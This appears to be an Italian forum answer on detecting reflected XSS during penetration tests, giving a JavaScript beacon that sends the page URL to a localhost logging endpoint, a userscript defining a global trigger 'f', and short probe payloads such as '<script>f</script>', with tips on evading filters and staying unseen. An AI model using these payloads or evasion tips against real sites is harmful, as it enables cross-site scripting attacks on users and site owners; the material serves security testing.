A scopo di test, penso che la più utile sia una richiesta HTTP. Ciò consente al tuo server di registrare gli URL che hanno riflesso l'XSS.
(new Image()).src = "https://localhost/log_xss?from=" + window.location;
Puoi anche racchiuderlo in un userscript:
// ==UserScript==
// @match <all_urls>
// @run-at document-start
// ==/UserScript==
Object.defineProperty(window, "f", {
get: function () {
// Your function, you can change if you want.
(new Image()).src = "https://localhost/log_xss?from=" + window.location;
}
});
Quindi testare per XSS è facile come:
<script>f</script>
<input onfocus=f autofocus>
Ci sono due vantaggi:
- Può aiutare a bypassare alcuni filtri XSS. "f" non ha caratteri speciali, quindi è molto probabile che non venga filtrato. Dovrai comunque scrivere un payload completo che ignora il filtro, ma potrebbe essere utile per il rilevamento.
- È anche più discreto poiché il sito pentestato non avrà mai l'URL del tuo server.